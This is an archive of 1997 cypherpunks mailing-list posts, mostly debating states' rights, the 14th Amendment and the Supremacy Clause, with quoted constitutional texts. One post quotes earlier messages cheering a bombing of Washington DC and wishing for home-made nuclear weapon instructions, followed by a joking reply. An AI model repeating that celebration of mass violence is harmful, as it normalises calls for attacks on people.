As far as I have been able to determine nobody has ever brought such a case.


    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 24 Aug 1997 02:09:26 +0800
To: cypherpunks@toad.com
Subject: Re: Shooting the taggers
Message-ID: <199708231756.TAA21560@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Grand Wazoo MixMaster wrote the lie:

> There appears to be a wonderful market for long-range nonlethal
> stun weapons. I wonder, if a tagger is marking your building,
> would it be legal to stun him from a distance and then call the
> cops?
> 
> Rape can be argued to be deserving of serious punishment of some kind,
> but would tagging deserve death when a nonlethal option exist? Could
> not the woman stun the rapist and then call the cops?

  No. Stun guns are increasingly illegal because some guy once
used one to rob a 7-11 or something, for $15.00.
  Since stopping rape is worth less than $15.00 to those who make
the laws, they have decided that a few thousand rapes is a small
price to pay to protect minuscule corporate interests.

-THE 1/2LIE






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 24 Aug 1997 09:03:44 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Reproductive Rights and State Benefits (fwd)
Message-ID: <199708240101.UAA27366@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sat, 23 Aug 1997 17:13:09 -0700
> From: Tim May <tcmay@got.net>
> Subject: Reproductive Rights and State Benefits

> There's a landmine here, of course. Namely, the issue of whether states may
> impose restrictions which are "unconstitutional." To some states rights
> folks, as I assume Jim Choate may be, the answer is often "of course." To
> some libertarians, the answer is often "of course not." A good example to
> consider is "free speech." The First Amendment talks about Congress shall
> make no law...does this mean California may ban certain books, restrict
> certain religions, or impose censorship on the press?

If permitted by the California Constituion absolutely. It's called freedom
of expression, a weird sort of extension to the pursuit of life, liberty,
and happiness. If the citizens don't like it they can elect another
representative to change the law next time around. The right to liberty
implies the right to give it away.

For a democracy to work the group of people making the laws must be
relatively small, otherwise we see the sorts of abuses we currently have
because we have lost respect for others (ie another state) to decide their
fate indipendant of our own.

I am not an advocate of federal or state rights, and most definitely NOT
any sort of Libertarian. I am a strict Constitutionalist and believe that
if the federal government wants to take on a new job not explicity assigned
in the Constitition they MUST pass an amendment per the method detailed in
the Constitution.

Prior to the 14th (which only forces privileges and immunities, and I
utterly reject any claim that a right is a privilege) this was exactly the
case. The founding fathers wanted to see a multiplicity of states with a
variety of laws some limited some actions and others not. The idea behind
this is that if a state passes laws that are too restrictive it is possible
to reverse the insult in a reasonable time and if it proves impossible to
change it (say because of massive public support) then they can move to a
state where such activity is allowed, thus robbing the state of the taxes
and other benefits it derives from such residents. The idea is that if the
states are given a level of equality with the federal government there will
be a moderating effect on tryanny at all levels.

> (Most folks would say "Of course not." But on what basis can individual
> states and municipalities override the Second Amendment?)

Read the 10th. The 2nd. does NOT limit a states right to regulate such
activity.


    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 24 Aug 1997 09:25:27 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: Reproductive Rights and State Benefits (fwd)
In-Reply-To: <199708240101.UAA27366@einstein.ssz.com>
Message-ID: <199708240124.UAA08967@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199708240101.UAA27366@einstein.ssz.com>, on 08/23/97 
   at 08:01 PM, Jim Choate <ravage@ssz.com> said:

>> There's a landmine here, of course. Namely, the issue of whether states may
>> impose restrictions which are "unconstitutional." To some states rights
>> folks, as I assume Jim Choate may be, the answer is often "of course." To
>> some libertarians, the answer is often "of course not." A good example to
>> consider is "free speech." The First Amendment talks about Congress shall
>> make no law...does this mean California may ban certain books, restrict
>> certain religions, or impose censorship on the press?

>If permitted by the California Constituion absolutely. It's called
>freedom of expression, a weird sort of extension to the pursuit of life,
>liberty, and happiness. If the citizens don't like it they can elect
>another representative to change the law next time around. The right to
>liberty implies the right to give it away.

Well yes and no. Just because you are willing to give you liberty away
does not mean that you have the right to give my liberty away. That's why
the Bill of Rights pre-empts any legislation done by Congress or the
States.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Sun, 24 Aug 1997 09:27:41 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Inside the Cypherpunks Cult (fwd)
In-Reply-To: <v03102802b025074f2480@[207.167.93.63]>
Message-ID: <Pine.SOL.3.96.970823202127.637A-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain



MacArthur, whose aide was Eisenhower.
MacN

> U.S. troops (regular army, not state Guard units) being used within the
> U.S. against U.S. citizens was the action by Hoover against the
> strikers/rioters and "Hooverville" residents in D.C., circa 1930. Hoover
> sent in Army troops, led by either Gen. Pershing, as I recall (and maybe
> Patton and/or Eisenhower...my CD-ROM encyclopedia is not handy, and a Web
> search on some of the terms didn't quickly show any hits of direct
> relevance, and I don't have the time to do more searches).






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Sun, 24 Aug 1997 09:37:43 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Reproductive Rights and State Benefits
In-Reply-To: <v03102803b0252334b238@[207.167.93.63]>
Message-ID: <Pine.SOL.3.96.970823202919.637D-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 23 Aug 1997, Tim May wrote:
> 
> There's a landmine here, of course. Namely, the issue of whether states may
> impose restrictions which are "unconstitutional." To some states rights
> folks, as I assume Jim Choate may be, the answer is often "of course." To
> some libertarians, the answer is often "of course not." A good example to
> consider is "free speech." The First Amendment talks about Congress shall
> make no law...does this mean California may ban certain books, restrict
> certain religions, or impose censorship on the press?
> 
> (Most folks would say "Of course not." But on what basis can individual
> states and municipalities override the Second Amendment?)

Most folks would, today, but this was not always a given in our
constitutional jurisprudence.  It's a post-14th Amendment
development, the Bill Of Rights having been understood by the
SCt to have been applied to the states by virtue of the 14th
Amendment's restrictions on state governments.  It's never 
been an impeccable logic, but it seems to get to the right
result.  For most folks, anyway:)
MacN





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 24 Aug 1997 09:36:10 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Reproductive Rights and State Benefits (fwd)
Message-ID: <199708240135.UAA27615@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: "William H. Geiger III" <whgiii@amaranth.com>
> Date: Sat, 23 Aug 97 20:10:12 -0400
> Subject: Re: Reproductive Rights and State Benefits (fwd)

> Well yes and no. Just because you are willing to give you liberty away
> does not mean that you have the right to give my liberty away.

Which is why we implimented a representative democracy in the first place.

> That's why
> the Bill of Rights pre-empts any legislation done by Congress or the
> States.

It does? You are without a doubt reading a different Constitution and Bill of
Rights than the one that I have. If you are making allusion to the 14th,
it only extends to privileges and immunities.

 
			       ARTICLE XIV. 
 
Section 1.  All persons born or naturalized in the United States, and 
subject to the jurisdiction thereof, are citizens of the United States 
and of the State wherein they reside.  No State shall make or enforce 
any law which shall abridge the privileges or immunities of citizens 
of the United States; nor shall any State deprive any person of life, 
liberty, or property, without due process of law; nor deny to any person 
within its jurisdiction the equal protection of the laws. 
 
Section 2 to Section 5 deleted


So you equate your right to religion as a immunity or a privilige? Me
I take it as a right, something outside the legal purvue of the federal
government. An immunity or privilige is something that can be taken away by
the body granting it. Since the Constitution is a mandate from the people
it follows clearly that the only body that can change that mandate is the
people. If the state I live in has a constitution that allows it that is
between me and my state and none of you or your states or the federal
governments business.


    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 24 Aug 1997 10:43:57 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: Reproductive Rights and State Benefits (fwd)
In-Reply-To: <199708240135.UAA27615@einstein.ssz.com>
Message-ID: <199708240241.VAA09743@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199708240135.UAA27615@einstein.ssz.com>, on 08/23/97 
   at 08:35 PM, Jim Choate <ravage@ssz.com> said:

>Forwarded message:

>> From: "William H. Geiger III" <whgiii@amaranth.com>
>> Date: Sat, 23 Aug 97 20:10:12 -0400
>> Subject: Re: Reproductive Rights and State Benefits (fwd)

>> Well yes and no. Just because you are willing to give you liberty away
>> does not mean that you have the right to give my liberty away.

>Which is why we implimented a representative democracy in the first
>place.

>> That's why
>> the Bill of Rights pre-empts any legislation done by Congress or the
>> States.

>It does? You are without a doubt reading a different Constitution and
>Bill of Rights than the one that I have. If you are making allusion to
>the 14th, it only extends to privileges and immunities.

> 
>			       ARTICLE XIV. 
> 
>Section 1.  All persons born or naturalized in the United States, and 
>subject to the jurisdiction thereof, are citizens of the United States 
>and of the State wherein they reside.  No State shall make or enforce 
>any law which shall abridge the privileges or immunities of citizens  of
>the United States; nor shall any State deprive any person of life, 
>liberty, or property, without due process of law; nor deny to any person 
>within its jurisdiction the equal protection of the laws. 
> 
>Section 2 to Section 5 deleted


>So you equate your right to religion as a immunity or a privilige? Me I
>take it as a right, something outside the legal purvue of the federal
>government. An immunity or privilige is something that can be taken away
>by the body granting it. Since the Constitution is a mandate from the
>people it follows clearly that the only body that can change that mandate
>is the people. If the state I live in has a constitution that allows it
>that is between me and my state and none of you or your states or the
>federal governments business.


Well you are complicating the issue by assuming that we are in two
different states. If you and I are citizens of the same State you do not
have the right to deny me my rights protected under the Constitution of
the United States of America regardless wether you are in the majority
view or not. Of cource the laws of one State do not have power over
another State.

I do not consider the Bill of Rights as giving me "privileges" but giving
me immunity from any government restricting those rights.


Article. IV.

Section. 2.

Clause 1:  The Citizens of each State shall be entitled to
all Privileges and Immunities of Citizens in the several States. 


Section. 4. The United States shall guarantee to every
State in this Union a Republican Form of Government, and shall protect
each of them against Invasion; and on Application of the
Legislature, or of the Executive (when the Legislature cannot be convened)
against domestic Violence. 


Article. VI.


Clause 2:  This Constitution, and the Laws of the United States which
shall be made in Pursuance thereof; and all Treaties made, or which shall
be made, under the Authority of the United States, shall be the supreme
Law of the Land; and the Judges in every State shall be bound thereby, any
Thing in the Constitution or Laws of any State to the Contrary
notwithstanding. 


I think that this clause more than any other shows exactly where the
States stand. So long as a law passed by Congress is in accordance with
the Constitution the States are obligated to obey such laws regardless of
the Laws & Constitutions of the States.




- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Sun, 24 Aug 1997 09:03:50 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Pat is NOT a Cypherpunk
In-Reply-To: <19970824003708.19482.qmail@zipcon.net>
Message-ID: <3.0.3.32.19970823205946.00703dac@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain



Amen! (Sorry, couldn't help myself - the devil made me do it.)


At 05:37 PM 8/23/97 -0700, Mike Duvos wrote:
>
>Tim wrote:
>
> > If Pat Robertson called for the death by stoning of UFO
> > believers, it was almost certainly rhetorical hyperbole,
> > like Rush Limbaugh's suggestions of what ought to be done to
> > lesbians.
>
>Oh piffle.  Pat believes in a Heaven filled with God, angels,
>demons, and various other nonsensical beings, and an earth where
>we have all been sent to be punished after the Fall.
>
>Pat is threatened by a Universe with stars and galaxies in place
>of Heavenly Hosts, and responds by suggesting the killing of
>Heretics.
>
>This is a lot different than Rush or Howard Stern doing a few
>jokes about Lesbians.
>
>Pat is afraid of Government Approved Crypto because he thinks it
>is the Mark of the Beast, which will be stamped on his forehead
>to prevent him from buying or selling without the approval of the
>anti-Christ, who will rule earth after Pat and his friends have
>risen into the air with the rest of the true believers.
>
>Pat's reasons for coicidentally supporting a few of our agenda
>items are so far removed from our reasons for supporting them,
>that any suggestion he is our friend borders on the absurd.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sun, 24 Aug 1997 09:27:26 +0800
To: cypherpunks@toad.com
Subject: State-ism vs. FederalismRe: lack of evolutionary pressures (was Re: An end to "court (fwd)
Message-ID: <OaM2PLK0YWea6QSOjF5/3A==@JawJaCrakR>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate wrote:
> > From: Firebeard <stend+cypherpunks@sten.tivoli.com>
> >       Then what do the words "are reserved to the States
> > respectively" mean?  To me, it's explicitly stating that the States
> > have powers that the feds do (or should) not.

> They mean it isn't something the federal government has any interest or say
> in constitutionaly. It does not imply that those powers are granted at the
> behest of the feds but rather clearly fall outside of their jurisdiction.

 I agree.
 The States should have the right to declare the word "freedom" an
obscenity. The federal government should not.
 The States should have the right to legalize rape. The federal
government should not.
 The States should have the right to require the citizens to commit
suicide at the age of 40. The federal government should not.

  I'm glad that I could clear this up for everyone. No need to thank me.

The Statist






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 24 Aug 1997 03:49:56 +0800
To: cypherpunks@toad.com
Subject: Hlep
Message-ID: <199708231940.VAA02289@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



I am trying to find a place to do a cypherpunks list archive search
by Subject: header. (unsuccessfully)
Does anyone have any pointers they can spare?

(No. My problem is not that I can't spel "Help.")





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Sun, 24 Aug 1997 06:12:55 +0800
To: cypherpunks@toad.com
Subject: Cypherpunks Home for the Criminally Insane
Message-ID: <V9O4lIQEE96Klx2fTAvpZw==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



  At first, I was confused...
  Here I was, the only resident being held in the Cypherpunks Home for
the Criminally Insane. Yet, every day I would receive hundreds of posts
purporting to be from a variety of individuals subscribed to the list.
  "What is going on, here?" I asked myself.

  Had my Multi-Personality Disorder gotten so out of hand that I was,
without conscious knowledge, actually writing all of these posts by
myself?
... or,
  Were the voices that spoke to me when I forgot to take my medication
right? Were there others in the 'Home' who were hiding from me, and 
were also subscribed to the Cypherpunks list?

  In the end, I came to the conclusion that the latter answer was the
correct one. After all, even someone as crazy as me could not make the
rest of you people up.

- Me
"But not that far from being *you*."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 24 Aug 1997 11:33:52 +0800
To: Mac Norton <mnorton@cavern.uark.edu>
Subject: Re: Reproductive Rights and State Benefits
In-Reply-To: <Pine.SOL.3.96.970823202919.637D-100000@cavern.uark.edu>
Message-ID: <199708240333.WAA10310@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.SOL.3.96.970823202919.637D-100000@cavern.uark.edu>, on 08/23/97 
   at 08:33 PM, Mac Norton <mnorton@cavern.uark.edu> said:

>On Sat, 23 Aug 1997, Tim May wrote:
>> 
>> There's a landmine here, of course. Namely, the issue of whether states may
>> impose restrictions which are "unconstitutional." To some states rights
>> folks, as I assume Jim Choate may be, the answer is often "of course." To
>> some libertarians, the answer is often "of course not." A good example to
>> consider is "free speech." The First Amendment talks about Congress shall
>> make no law...does this mean California may ban certain books, restrict
>> certain religions, or impose censorship on the press?
>> 
>> (Most folks would say "Of course not." But on what basis can individual
>> states and municipalities override the Second Amendment?)

>Most folks would, today, but this was not always a given in our
>constitutional jurisprudence.  It's a post-14th Amendment development,
>the Bill Of Rights having been understood by the SCt to have been applied
>to the states by virtue of the 14th Amendment's restrictions on state
>governments.  It's never  been an impeccable logic, but it seems to get
>to the right result.  For most folks, anyway:)

Well i think that you also have to take into account the political setting
of the times. The Framers of the Constitution were representatives of the
States all of which had 1st Amendment protections in their State
Constitutions. Their concerns were not with the States but with a Federal
Government overriding rights already protected by the States.



- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 24 Aug 1997 13:23:30 +0800
To: cypherpunks@toad.com
Subject: Re: lack of evolutionary pressures (was Re: An end to "court appointed attorneys")
In-Reply-To: <19970822224234.61793@bywater.songbird.com>
Message-ID: <19970823221015.57855@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, Aug 23, 1997 at 10:43:19AM +0100, Adam Back wrote:
> Kent Crispin <kent@songbird.com> writes:
[...]
> > In practice it seems to 
> > be the case, however, that intelligence and "evolutionary competence" 
> > are negatively correlated.  
> - DEA agents
[...]
> There are lots of things around which will kill you slowly, or offer
> you a measurable though small chance of dying young, but this usually
> doesn't affect that persons chances of reproducing.  Examples might be
> smoking, heavy drinking, overeating, etc.

There is little evolutionary pressure on anti-survival problems that
arrive in later life.

> 
> > I think this goes a little deeper, in fact.  The kind of
> > intelligence that leads to high technical achievement is not even
> > necessarily a kind of intelligence that favors survival under
> > difficult situations.  If society dissolves it is my belief that
> > computer geeks, like us, are not the ones that will be most likely
> > to survive....
> 
> So start collecting guns and doing target practice.  Intelligence
> includes ability to adapt and forsee likely future events.

In all honesty, I do not consider building up a massive private
arsenal a la Tim May as evidence of evolutionary intelligence -- quite
the contrary.

On the other hand, knowing how to shoot, and handle guns, *is* a
useful skill. 

[...]

> The problem is that from a purely scientific evolutionary point of
> view, the human race is surely regressing, the masses of negative
> evolutionary pressures are certainly pushing this way.

Are you falling into the teleological trap? And if that's so, then you
and I are inferior to our forefathers, and your judgement is therefore
suspect :-)

[...]

> The real problem is that the pervasive bleeding heart
> socialist/communist welfare system mentality will ensure that you'll
> never manage it.
> 
> "The children" is a war cry which will ensure the continuance of state
> funded negative evolutionary pressures.

In general, I would say that you are describing a remarkably
simplistic view of evolution.  Off the top, two things I think you are
missing:

    - first, you make the common mistake of assuming that evolution 
    has a purpose somehow aligned with your moral view of things

    - second, more specifically, you assume that evolution favors the 
    development of highly successful individuals.  This clearly does 
    not follow -- herd behavior, for example, is a *successful* 
    evolutionary strategy.  In human terms, "never underestimate the 
    power of stupid people working in large groups".

BTW -- halfway through "Snow Crash" -- *very* entertaining, though 
hardly a society I would want to live in.  Also, if you can find 
either "Half Past Human", or "The Godwhale", by TJ Bass (I think), 
you will find a very thought provoking alternative human future.  
These books will probably be hard to find, however.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 24 Aug 1997 11:15:12 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Reproductive Rights and State Benefits (fwd)
Message-ID: <199708240314.WAA27973@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: "William H. Geiger III" <whgiii@amaranth.com>
> Date: Sat, 23 Aug 97 20:44:10 -0400
> Subject: Re: Reproductive Rights and State Benefits (fwd)

> Well you are complicating the issue by assuming that we are in two
> different states.

No, I am making no such assumption the Constitution however does. Quite
clearly I might add.

> If you and I are citizens of the same State you do not
> have the right to deny me my rights protected under the Constitution of
> the United States of America regardless wether you are in the majority
> view or not.

Which is completely irrelevant since the federal government has no authority
over intra-state disagreements that do not involve some resource that lies
outside the state of residence of the parties involved...

I quote from the Constitution again...<sigh, doesn't anyone actualy read the
whole damn thing?>

Section 2.  The judicial Power shall extend to all Cases, in Law and Equity, 
arising under this Constitution, the Laws of the United States, and Treaties 
made, or which shall be made, under their Authority; -- to all Cases affecting 
Ambassadors, other public Ministers and Consuls; -- to all Cases of admiralty 
and maritime Jurisdiction; -- to Controversies between two or more States; -- 
between a State and Citizens of another State; -- between Citizens of 
different States; -- between Citizens of the same State claiming Lands under 
Grants of different States; -- and between a State, or the Citizens thereof, 
and foreign States, Citizens or Subjects. 

Section 1.  Full Faith and Credit shall be given in each State to the 
public Acts, Records, and judicial Proceedings of every other State. And 
the Congress may by general Laws prescribe the Manner in which such Acts, 
Records and Proceedings shall be proved, and the Effect thereof. 
 
Section 2.  The Citizens of each State shall be entitled to all Privileges 
and Immunities of Citizens in the several States. 


				ARTICLE X. 
 
	The powers not delegated to the United States by the Constitution, 
nor prohibited by it to the States, are reserved to the States respectively, 
or to the people. 

 
			       ARTICLE XIV. 
 
Section 1.  All persons born or naturalized in the United States, and 
subject to the jurisdiction thereof, are citizens of the United States 
and of the State wherein they reside.  No State shall make or enforce 
any law which shall abridge the privileges or immunities of citizens 
of the United States; nor shall any State deprive any person of life, 
liberty, or property, without due process of law; nor deny to any person 
within its jurisdiction the equal protection of the laws. 

Section 2 through 5 deleted <again>. 


Would you be so kind as to explain exactly what the 14th brings to the table
that was not already covered in the original document? We didn't need the
14th and still don't. It was, and still is, a political ploy to get people
to willingly (through ignorance) comply with a bunch of schills.


    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Sun, 24 Aug 1997 06:38:48 +0800
To: cypherpunks@toad.com
Subject: Some [Was-Re: None]
Message-ID: <vMoyL914VB+PxnPckWJDGw==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Rabid Wombat wrote: 
> On Mon, 18 Aug 1997, Dr.Dimitri Vulis KOTM wrote:
> > Anonymous <anon@anon.efga.org> writes:

> > > It would be a day to celebrate loudly if someone put a crater in DC.

> > I'd love for this to happen!  I wish someone would condense the instructions
> > for making nukes in one's garage into 4-6 lines suitable for .sigs.
 
> New York will probably get it first, Doctor.

  I received an anonymous email giving me the instructions on how to
build a Neutron Bomb which kills all people except those named Dimitri
and leaves all the buildings standing.
  The last few lines of the message were corrupted. On the off chance
that the anonymous sender happens to read the cypherpunks mailing list,
I thought I would post this to let them know they should resend the
message.

BoomMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 24 Aug 1997 11:41:24 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: Reproductive Rights and State Benefits (fwd)
In-Reply-To: <199708240314.WAA27973@einstein.ssz.com>
Message-ID: <199708240340.WAA10399@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199708240314.WAA27973@einstein.ssz.com>, on 08/23/97 
   at 10:14 PM, Jim Choate <ravage@ssz.com> said:

>Would you be so kind as to explain exactly what the 14th brings to the
>table that was not already covered in the original document? We didn't
>need the 14th and still don't. It was, and still is, a political ploy to
>get people to willingly (through ignorance) comply with a bunch of
>schills.

Nice try but it was you who brought up the 14th in your original reply to
my message. An intresting debating technique present and argument then
blame your opponent for brining up that argument.

I once again shall quote the Constitution <sigh>:

Article. VI.


Clause 2:  This Constitution, and the Laws of the United States which
shall be made in Pursuance thereof; and all Treaties made, or which shall
be made, under the Authority of the United States, shall be the supreme
Law of the Land; and the Judges in every State shall be bound thereby, any
Thing in the Constitution or Laws of any State to the Contrary
notwithstanding. 


This trumps any argument you have made on this issue so far.



- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 24 Aug 1997 11:47:54 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Reproductive Rights and State Benefits (fwd)
Message-ID: <199708240347.WAA28140@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: "William H. Geiger III" <whgiii@amaranth.com>
> Date: Sat, 23 Aug 97 22:00:44 -0400
> Subject: Re: Reproductive Rights and State Benefits

> Well i think that you also have to take into account the political setting
> of the times.

A bunch of people who had just lived through a tryannical foreign rule as
well as a revolutionary war to break that rule. To better understand their
view I will attach the Declaration of Indipendance which is after all the
document that justifies the Constitution (apparently people don't read it
either). The Declaration says why while the Constitution says how...

> The Framers of the Constitution were representatives of the
> States all of which had 1st Amendment protections in their State
> Constitutions. Their concerns were not with the States but with a Federal
> Government overriding rights already protected by the States.

If accepted as fact this provides even less reason for the 14th. As it
clearly does not prevent federal rights over-riding state rights.

 
			       ARTICLE XIV. 
 
Section 1.  All persons born or naturalized in the United States, and 
subject to the jurisdiction thereof, are citizens of the United States 
and of the State wherein they reside.  No State shall make or enforce 
any law which shall abridge the privileges or immunities of citizens 
of the United States; nor shall any State deprive any person of life, 
liberty, or property, without due process of law; nor deny to any person 
within its jurisdiction the equal protection of the laws. 


    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|

[Note: this document puts to rest forever the question of how our government
       gets its authority and exactly who answers to who and in the first
       two paragraphs even.]


		    In CONGRESS, July 4, 1776. 
 
		    A   D E C L A R A T I O N 
 
		  By the REPRESENTATIVES of the 
 
	 U N I T E D   S T A T E S   O F   A M E R I C A, 
 
		    In GENERAL CONGRESS assembled. 
 
 
When in the Course of human Events, it becomes necessary for 
one People to dissolve the Political bands which have connected 
them with another, and to assume among the Powers of the Earth, 
the separate and equal station to which the Laws of Nature and 
of Nature's God entitle them, a decent respect to the Opinions 
of Mankind requires that they should declare the causes which 
impel them to the Separation. 
 
     We hold these Truths to be self-evident, that all Men are 
created equal, that they are endowed by their Creator with 
certain unalienable rights, that among these are Life, Liberty, 
and the Pursuit of Happiness--That to secure these Rights, 
Governments are instituted among Men, deriving their just Powers 
from the Consent of the Governed, that whenever any Form of 
Government becomes destructive of these Ends, it is the Right of 
the People to alter or to abolish it, and to institute new 
Government, laying its foundation on such Principles and 
organizing its Powers in such Form, as to them shall seem most 
likely to effect their Safety and Happiness.  Prudence, indeed, 
will dictate that Governments long established should not be 
changed for light and transient Causes; and accordingly all 
Experience hath shewn, that Mankind are more disposed to suffer, 
while evils are sufferable, than to right themselves by 
abolishing the Forms to which they are accustomed.  But when a 
long train of Abuses and Ursurpations, pursuing invariably the 
same Object, evinces a Design to reduce them under absolute 
Despotism, it is their Right, it is their Duty, to throw off such 
Government, and to provide new Guards for their future Security. 
